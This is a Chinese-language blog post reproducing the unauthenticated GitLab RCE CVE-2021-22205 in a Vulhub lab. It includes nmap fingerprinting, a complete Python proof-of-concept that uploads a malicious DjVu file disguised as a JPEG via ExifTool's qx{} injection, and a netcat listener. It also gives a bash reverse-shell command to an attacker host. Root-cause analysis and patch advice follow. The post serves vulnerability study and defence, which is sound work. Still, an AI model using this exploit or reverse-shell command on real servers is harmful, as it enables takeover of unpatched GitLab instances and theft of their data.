1884 字
9 分钟
GitLab 远程代码执行漏洞(CVE-2021-22205)复现

CVE-2021-22205 是 GitLab 的未授权远程代码执行漏洞,CVSS 10.0(初始评级 9.9,2021 年 9 月官方修订为 10.0)。GitLab 处理用户上传的图片时会调用 ExifTool 解析元数据;ExifTool 的 DjVu 解析模块在处理注释块时未转义特殊字符,攻击者借此注入 Perl 代码(qx{} 命令执行),上传一个伪装成 JPEG 的恶意 DjVu 文件即可在服务器上执行任意命令,命令以 GitLab 进程的身份运行。上传接口 /uploads/user 无需登录,只需从登录页面获取公开的 CSRF 令牌,攻击者不需要任何凭据。

复现基于 Vulhub 的 gitlab/CVE-2021-22205 靶场(GitLab 13.10.1),覆盖环境搭建、指纹识别、POC 利用、反弹 Shell 四个阶段,并拆解 DjVu 注入与未授权接口的代码级原理。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2021-2220510.011.9 ≤ GitLab < 13.8.8、13.9.0 ≤ GitLab < 13.9.6、13.10.0 ≤ GitLab < 13.10.3远程代码执行(RCE)

漏洞复现#

复现环境准备#

使用 Vulhub 快速搭建漏洞环境:

Terminal window
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/gitlab/CVE-2021-22205
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
a21a935a51c3 vulhub/gitlab:13.10.1 "/sbin/entrypoint.sh…" 32 minutes ago Up 26 minutes 443/tcp, 0.0.0.0:10022->22/tcp, [::]:10022->22/tcp, 0.0.0.0:8080->80/tcp, [::]:8080->80/tcp cve-2021-22205-gitlab-1
31fc75d9a1a5 postgres:12-alpine "docker-entrypoint.s…" 32 minutes ago Up 26 minutes 5432/tcp cve-2021-22205-postgresql-1
ecceaea63f01 redis:5.0.9-alpine "docker-entrypoint.s…" 32 minutes ago Up 26 minutes 6379/tcp cve-2021-22205-redis-1

启动后需等待 2-5 分钟,GitLab 的启动过程消耗大量资源,直到访问 http://192.168.31.148:8080 出现登录界面为止。也可以将虚拟机的配置适当调高,配置过低可能会导致卡死。

GitLab 登录页面

端口扫描与服务识别#

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
8080/tcp open http nginx
| http-robots.txt: 54 disallowed entries (15 shown)
| / /autocomplete/users /autocomplete/projects /search
| /admin /profile /dashboard /users /help /s/ /-/profile /-/ide/
|_/*/new /*/edit /*/raw
10022/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 69:99:c3:1d:69:24:fd:60:c1:8f:34:cf:58:41:2b:15 (RSA)
| 256 76:ba:0d:e2:85:6e:33:9d:5f:f2:f1:0e:8a:9a:98:03 (ECDSA)
|_ 256 5a:b1:7a:e5:85:eb:38:d0:c2:55:bd:4f:a0:c2:0e:7e (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

从扫描结果可知目标运行着 Web 服务。根据 robots.txt 中的目录(如 /autocomplete/users、/-/ide/),可以判定该服务为 GitLab。此外还有修改了默认端口(22 改为 10022)的 SSH 服务。

漏洞利用#

Vulhub 自带一个 POC 脚本:

import sys
import re
import requests
target = sys.argv[1]
command = sys.argv[2]
session = requests.session()
CSRF_PATTERN = re.compile(rb'csrf-token" content="(.*?)" />')
def get_payload(command):
rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d'
rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True)
rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61'
rce_payload += (len(command) + 0x2f).to_bytes(length=4, byteorder='big', signed=True)
rce_payload += b'\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b'
rce_payload += command.encode()
rce_payload += b'\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a'
return rce_payload
def csrf_token():
response = session.get(f'{target}/users/sign_in', headers={'Origin': target})
g = CSRF_PATTERN.search(response.content)
assert g, 'No CSRF Token found'
return g.group(1).decode()
def exploit():
files = [('file', ('test.jpg', get_payload(command), 'image/jpeg'))]
session.post(f'{target}/uploads/user', files=files, headers={'X-CSRF-Token': csrf_token()})
if __name__ == '__main__':
exploit()
print('finish test')

POC 的代码级原理见下文 POC 代码简析一节。

攻击机启动 nc 监听,接收反弹 Shell:

Terminal window
┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444
listening on [any] 4444 ...

运行 POC 脚本,传入反弹 Shell 命令:

Terminal window
┌──(kali㉿kali)-[~]
└─$ python poc.py http://192.168.31.148:8080 "bash -c 'bash -i >& /dev/tcp/192.168.31.152/4444 0>&1'"

nc 监听端随即收到来自靶机的反弹 Shell,提示符为 git@a21a935a51c3,命令以 GitLab 的 git 用户身份执行:

nc 监听端收到反弹 Shell,提示符为 git 用户

漏洞核心原理#

CVE-2021-22205 的核心在于 GitLab 调用的第三方组件 ExifTool 在解析图片元数据时存在的注入缺陷。ExifTool 是一个基于 Perl 语言开发的工具,专门用于读取和处理各种文件的元数据信息。当攻击者向 GitLab 上传一个精心构造的 DjVu 格式文件时,尽管文件后缀可能被伪装成常见的 JPG 或 PNG,ExifTool 依然会通过识别文件内部的特征头来将其作为 DjVu 文件进行深度解析。

问题的根源在 DjVu 文档的注释块(ANTa 块)解析逻辑上。ExifTool 在读取这些注释信息时,未对其中的特殊字符进行转义过滤。攻击者利用这一特性,通过在注释中注入反斜杠和引号等符号,破坏原有 Perl 字符串的闭合结构,使原本应被视为普通文本的元数据内容被 Perl 解释器当作程序代码执行。

具体的注入手段是利用 Perl 语言中的 qx{} 运算符,该运算符在 Perl 中专门用于执行系统命令。攻击者通过构造如 qx{id} 之类的指令,并利用闭合技巧将其嵌入图片,ExifTool 在扫描到这一行数据时,会直接在服务器上以当前运行进程的权限(本靶机为 git 用户)执行该指令。

GitLab 的 Web 架构在处理文件上传时的逻辑顺序放大了这个缺陷。在受影响的版本中,服务器的 Workhorse 组件在进行用户身份验证和权限检查之前,为了验证文件合法性,就已经提前调用了 ExifTool 对上传的文件进行预处理。这种“先解析、后鉴权”的顺序,使得任何匿名攻击者只要能从登录页面获取一个 CSRF 令牌,就可以直接触发远程代码执行。

POC 代码简析#

get_payload(command)#

def get_payload(command):
# 1. 写入 DjVu 文件标识头 (Magic Number)
# \x41\x54\x26\x54... 对应字符串 "AT&TFORM"
rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d'
# 2. 计算并写入长度。to_bytes 将数字转为机器能读的 4 字节二进制
rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True)
# 3. 写入 DjVu 的特定结构数据 (DJVUINFO 块等)
rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f...'
# 4. 关键注入点:利用 qx{} 语法
# \x71\x78\x7b 对应 Perl 中的 "qx{"。在 Perl 里,qx{cmd} 会直接运行系统命令。
rce_payload += b'...(省略部分)... \x71\x78\x7b'
rce_payload += command.encode() # 插入命令
rce_payload += b'\x7d \x20 \x2e ...' # \x7d 对应 "}",闭合命令
return rce_payload

构造一个伪装成 JPEG 图片的恶意字节流(目标网站只接受图片上传),字节流中嵌入了要执行的系统命令。ExifTool 看到文件头是 AT&TFORM,就会启动 DjVu 解析器,漏洞在于 ExifTool 的 DjVu 解析模块没有过滤元数据里的特殊字符。脚本插入了 qx{命令},当 ExifTool 读到这里时,会将其当作要执行的 Perl 代码,从而触发命令执行。

csrf_token()#

def csrf_token():
# 访问登录页面
response = session.get(f'{target}/users/sign_in', headers={'Origin': target})
# 使用正则表达式 re.compile 寻找 HTML 里的 csrf-token 标签
g = CSRF_PATTERN.search(response.content)
# 如果没找到,脚本会报错中断 (assert)
assert g, 'No CSRF Token found'
return g.group(1).decode()

GitLab 所有的 POST 请求(上传、提交表单)都强制要求携带 CSRF Token。登录页面对任何访问者都会下发这个 Token,脚本模拟正常访问来获取它。

exploit()#

def exploit():
# 伪装文件名叫 test.jpg,类型叫 image/jpeg
files = [('file', ('test.jpg', get_payload(command), 'image/jpeg'))]
# 发送 POST 请求到受影响的未授权接口 /uploads/user
session.post(f'{target}/uploads/user', files=files, headers={'X-CSRF-Token': csrf_token()})

虽然内容是恶意 DjVu 数据,但文件名后缀写成 .jpg,这能绕过绝大多数简单的格式过滤器。/uploads/user 是这个漏洞的核心。在这个接口,GitLab 未检查用户是否已登录,直接把图片交给了后端的 ExifTool 处理。

修复方案#

  • 升级 GitLab CE/EE 至 13.8.8、13.9.6、13.10.3 或更高版本(2021-04-14 发布);底层 ExifTool 的对应修复版本为 12.24;
  • 该漏洞在 2021 年 11 月被发现在野大规模利用,并列入 CISA KEV 目录。曾暴露在公网的实例不能只打补丁:应轮换密钥与 Runner Token、排查恶意账户和持久化后门,无法确认系统完整性时建议重建。

参考链接#

GitLab 远程代码执行漏洞(CVE-2021-22205)复现
https://blog.mal-suen.cn/posts/2023/03/115/
作者
Malcolm
发布于
2023-03-07
许可协议
CC BY-NC-SA 4.0